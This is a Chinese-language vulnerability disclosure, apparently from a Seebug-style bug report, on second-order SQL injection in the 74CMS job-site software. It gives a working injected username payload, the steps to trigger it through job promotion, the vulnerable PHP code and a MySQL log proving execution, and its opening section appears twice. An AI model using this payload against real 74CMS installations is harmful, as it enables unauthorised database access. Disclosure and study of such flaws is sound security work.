### 简要描述: 74CMS一逻辑漏洞导致两处二次注入 ### 详细说明: 1.首先还是注册一个企业用户,在注册的过程中用burp抓包,修改里面的username字段 username=1′,1,1001,1,user(),1,1,1,1,1,1,1) — a [<img src="https://images.seebug.org/upload/201505/152221342e68f3a3cb84c21be2c54c2d3083e741.jpg" alt="14.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/152221342e68f3a3cb84c21be2c54c2d3083e741.jpg) 2.74cms本来是不允许注册带有特殊字符的用户名的,但是使用这样的方法可以绕过过滤,我们来看一下数据库。 [<img src="https://images.seebug.org/upload/201505/1522112961995bce6d1fe8e0f1d54f902ad27662.jpg" alt="12.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/1522112961995bce6d1fe8e0f1d54f902ad27662.jpg) 3.我们再来看哪里对该用户进行了二次数据库操作。找了很久,看到了对很多操作都提供了日志记录的功能。write_memberslog函数 ``` function write_memberslog($uid,$utype,$type,$username,$str,$mode,$op_type,$op_type_cn,$op_used,$op_leave) { global $db,$online_ip,$ip_address; $sql = "INSERT INTO ".table('members_log')."...
### 简要描述: 74CMS一逻辑漏洞导致两处二次注入 ### 详细说明: 1.首先还是注册一个企业用户,在注册的过程中用burp抓包,修改里面的username字段 username=1′,1,1001,1,user(),1,1,1,1,1,1,1) — a [<img src="https://images.seebug.org/upload/201505/152221342e68f3a3cb84c21be2c54c2d3083e741.jpg" alt="14.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/152221342e68f3a3cb84c21be2c54c2d3083e741.jpg) 2.74cms本来是不允许注册带有特殊字符的用户名的,但是使用这样的方法可以绕过过滤,我们来看一下数据库。 [<img src="https://images.seebug.org/upload/201505/1522112961995bce6d1fe8e0f1d54f902ad27662.jpg" alt="12.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/1522112961995bce6d1fe8e0f1d54f902ad27662.jpg) 3.我们再来看哪里对该用户进行了二次数据库操作。找了很久,看到了对很多操作都提供了日志记录的功能。write_memberslog函数 ``` function write_memberslog($uid,$utype,$type,$username,$str,$mode,$op_type,$op_type_cn,$op_used,$op_leave) { global $db,$online_ip,$ip_address; $sql = "INSERT INTO ".table('members_log')." (log_uid,log_username,log_utype,log_type,log_addtime,log_ip,log_address,log_value,log_mode,log_op_type,log_op_type_cn,log_op_used,log_op_leave) VALUES ( '{$uid}','{$username}','{$utype}','{$type}', '".time()."','{$online_ip}','{$ip_address}','{$str}','{$mode}','{$op_type}','{$op_type_cn}','{$op_used}','{$op_leave}')"; return $db->query($sql); } ``` 4.该函数中$username来源于用户名,看那些地方调用了该函数。在绝大多数情况下,74cms的$username来源于$_SESSION[‘username’],比如下面这个。 ``` write_memberslog($_SESSION['uid'],1,2003,$_SESSION['username'],"删除职位({$sqlin})"); ``` 5.但是$_SESSION[‘username’]却是做了全局的addslashes的操作的。本来无计,后来辗转彷徨,却发现有两个地方不是这样调用的。 1)include\crons\clear_promotion.php。这是前台触发的。 ``` $result = $db->query("SELECT p.*,m.username FROM ".table('promotion')." AS p JOIN ".table('members')." AS m ON p.cp_uid=m.uid WHERE p.cp_endtime<".time()." AND p.cp_available=1"); while($row = $db->fetch_array($result)) { if ($row['cp_promotionid']=="1") { $db->query("UPDATE ".table('jobs')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1 "); $db->query("UPDATE ".table('jobs_tmp')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1 "); $db->query("UPDATE ".table('jobs_search_hot')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_search_key')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_search_rtime')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_search_scale')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_search_stickrtime')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_search_wage')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); } elseif ($row['cp_promotionid']=="2") { $db->query("UPDATE ".table('jobs')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1 "); $db->query("UPDATE ".table('jobs_tmp')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1 "); $db->query("UPDATE ".table('jobs_search_hot')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_search_key')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_search_rtime')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_search_scale')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_search_stickrtime')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_search_wage')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); } elseif ($row['cp_promotionid']=="3") { $db->query("UPDATE ".table('jobs')." SET stick=0 WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_tmp')." SET stick=0 WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_search_stickrtime')." SET stick='0' WHERE id='{$row['cp_jobid']}' LIMIT 1"); } elseif ($row['cp_promotionid']=="4") { $db->query("UPDATE ".table('jobs')." SET highlight='' WHERE id='{$row['cp_jobid']}' LIMIT 1"); $db->query("UPDATE ".table('jobs_tmp')." SET highlight='' WHERE id='{$row['cp_jobid']}' LIMIT 1"); } write_memberslog($row['cp_uid'],1,3006,$row['username'],"推广到期,自动删除,职位ID:{$row['cp_jobid']},方案ID:{$row['cp_id']}"); $proid[] = $row['cp_id']; } ``` 可以看出这里的write_memberslog的$username直接从数据库中取出,而且没有经过任何的过滤,这就导致了二次注入。 2)admin\include\admin_company_fun.php。这是后台触发的。 ``` function del_promotion($id) { global $db; $n=0; if (!is_array($id))$id=array($id); foreach ($id as $did) { $info=$db->getone("select p.*,m.username from ".table('promotion')." AS p INNER JOIN ".table('members')." as m ON p.cp_uid=m.uid WHERE p.cp_id='".intval($did)."' LIMIT 1"); write_memberslog($info['cp_uid'],1,3006,$info['username'],"管理员取消推广,职位ID:{$info['cp_jobid']}"); cancel_promotion($info['cp_jobid'],$info['cp_promotionid']); $db->query("Delete from ".table('promotion')." WHERE cp_id ='".intval($did)."'"); $n+=$db->affected_rows(); } return $n; } ``` 6.两处二次注入的原理一样,我们首先用申请的带有特殊字符的账号来发布职位。然后对职位进行推广操作。推广的时候由于积分限制,只能选择变色。 [<img src="https://images.seebug.org/upload/201505/15222306285153f404461e212a5e9f48bb48bf13.jpg" alt="13.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/15222306285153f404461e212a5e9f48bb48bf13.jpg) 7.前台触发的条件是推广时间过期,自动进行推广链接的删除时。后台触发的条件是管理员删除了推广链接。为了不等那么长时间,我们从后台来看效果 [<img src="https://images.seebug.org/upload/201505/15222405784784b5926d75846998d3d7779486d4.jpg" alt="14.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/15222405784784b5926d75846998d3d7779486d4.jpg) 8.当推广被取消或者推广到期自动取消之后,我们再到前台用户登录日志的地方。 [<img src="https://images.seebug.org/upload/201505/15221908b9d67a9b918eb72bf43cdd6a8dd9afd2.jpg" alt="15.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/15221908b9d67a9b918eb72bf43cdd6a8dd9afd2.jpg) 9.最后我们来看一下mysql的日志 ``` 150515 15:41:39 19602 Query select p.*,m.username from qs_promotion AS p INNER JOIN qs_members as m ON p.cp_uid=m.uid WHERE p.cp_id='4' LIMIT 1 19602 Query INSERT INTO qs_members_log (log_uid,log_username,log_utype,log_type,log_addtime,log_ip,log_address,log_value,log_mode,log_op_type,log_op_type_cn,log_op_used,log_op_leave) VALUES ( '19','1',1,1001,1,user(),1,1,1,1,1,1,1) -- a','1','3006', '1431675699','127.0.0.1','- LAN','管理员取消推广,职位ID:6','','','','','') 19602 Query UPDATE qs_jobs SET highlight='' WHERE id='6' LIMIT 1 19602 Query UPDATE qs_jobs_tmp SET highlight='' WHERE id='6' LIMIT 1 19602 Query Delete from qs_promotion WHERE cp_id ='4' 19602 Quit ``` ### 漏洞证明: <img src="http://www.pang0lin.com/wp-content/uploads/2015/05/14.jpg" alt="12.jpg" />